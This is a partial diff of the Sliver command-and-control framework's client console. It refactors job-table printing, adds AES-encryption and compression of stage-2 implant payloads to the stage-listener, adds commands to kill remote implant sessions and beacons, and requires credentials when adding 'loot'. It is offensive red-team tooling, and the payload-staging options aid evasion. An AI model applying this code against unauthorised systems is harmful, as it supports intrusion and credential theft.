@@ -21,16 +21,15 @@ package jobs
import (
"context"
"fmt"
"os"
"sort"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// JobsCmd - Manage server jobs (listeners, etc)
@@ -51,33 +50,41 @@ func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
activeJobs[job.ID] = job
}
if 0 < len(activeJobs) {
printJobs(activeJobs)
PrintJobs(activeJobs, con)
} else {
con.PrintInfof("No active jobs\n")
}
}
}
func printJobs(jobs map[uint32]*clientpb.Job) {
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Protocol")),
strings.Repeat("=", len("Port")))
// PrintJobs - Prints a list of active jobs
func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Protocol",
"Port",
})
var keys []int
for _, job := range jobs {
keys = append(keys, int(job.ID))
}
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
sort.Ints(keys)
for _, k := range keys {
job := jobs[uint32(k)]
fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
tw.AppendRow(table.Row{
fmt.Sprintf("%d", job.ID),
job.Name,
job.Protocol,
fmt.Sprintf("%d", job.Port),
})
}
table.Flush()
con.Printf("%s\n", tw.Render())
}
func jobKill(jobID uint32, con *console.SliverConsoleClient) {
+58
View File
@@ -19,13 +19,17 @@ package jobs
*/
import (
"bytes"
"compress/zlib"
"context"
"net/url"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -33,6 +37,9 @@ import (
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
profileName := ctx.Flags.String("profile")
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
compress := strings.ToLower(ctx.Flags.String("compress"))
if profileName == "" || listenerURL == "" {
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -56,12 +63,58 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Profile not found\n")
return
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
if len(aesEncryptKey)%16 != 0 {
con.PrintErrorf("Incorect length of AES Key\n")
return
}
// set default aes iv
if aesEncryptIv == "" {
aesEncryptIv = "0000000000000000"
}
// check if aes iv is correct length
if len(aesEncryptIv)%16 != 0 {
con.PrintErrorf("Incorrect length of AES IV\n")
return
}
aesEncrypt = true
}
stage2, err := generate.GetSliverBinary(profile, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
switch compress {
case "zlib":
// use zlib to compress the stage2
var compBuff bytes.Buffer
zlibWriter := zlib.NewWriter(&compBuff)
zlibWriter.Write(stage2)
zlibWriter.Close()
stage2 = compBuff.Bytes()
case "gzip":
stage2 = util.GzipBuf(stage2)
case "deflate9":
fallthrough
case "deflate":
stage2 = util.DeflateBuf(stage2)
}
if aesEncrypt {
// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
// but it's also useful here as more advanced cipher modes are often difficult to implement in
// a stager.
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
switch stagingURL.Scheme {
case "http":
ctrl := make(chan bool)
@@ -125,4 +178,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
return
}
if aesEncrypt {
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
+99
View File
@@ -0,0 +1,99 @@
package kill
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/desertbit/grumble"
)
// KillCmd - Kill the active session (not to be confused with TerminateCmd)
func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
// Confirm with the user, just in case they confused kill with terminate
confirm := false
con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
if session != nil {
survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
if !confirm {
return
}
err := KillSession(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.ActiveTarget.Background()
return
} else if beacon != nil {
survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
if !confirm {
return
}
err := KillBeacon(beacon, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
con.ActiveTarget.Background()
return
}
con.PrintErrorf("No active session or beacon\n")
return
}
func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
if session == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: ctx.Flags.Bool("force"),
})
core.Sessions.Remove(session.ID)
return err
}
func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
if beacon == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
BeaconID: beacon.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: ctx.Flags.Bool("force"),
})
return err
}
+14 -4
View File
@@ -55,10 +55,20 @@ func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient
switch credType {
case clientpb.CredentialType_USER_PASSWORD.String():
loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
usernamePrompt := &survey.Input{Message: "Username: "}
survey.AskOne(usernamePrompt, &loot.Credential.User)
passwordPrompt := &survey.Input{Message: "Password: "}
survey.AskOne(passwordPrompt, &loot.Credential.Password)
for loot.Credential.User == "" {
usernamePrompt := &survey.Input{Message: "Username: "}
survey.AskOne(usernamePrompt, &loot.Credential.User)
if loot.Credential.User == "" {
con.Println("Username is required")
}
}
for loot.Credential.Password == "" {
passwordPrompt := &survey.Input{Message: "Password: "}
survey.AskOne(passwordPrompt, &loot.Credential.Password)
if loot.Credential.Password == "" {
con.Println("Password is required")
}
}
case clientpb.CredentialType_API_KEY.String():
loot.CredentialType = clientpb.CredentialType_API_KEY
usernamePrompt := &survey.Input{Message: "API Key: "}
Loaded 100 of 4884 files, more files were not shown because too many files have changed in this diff. Show more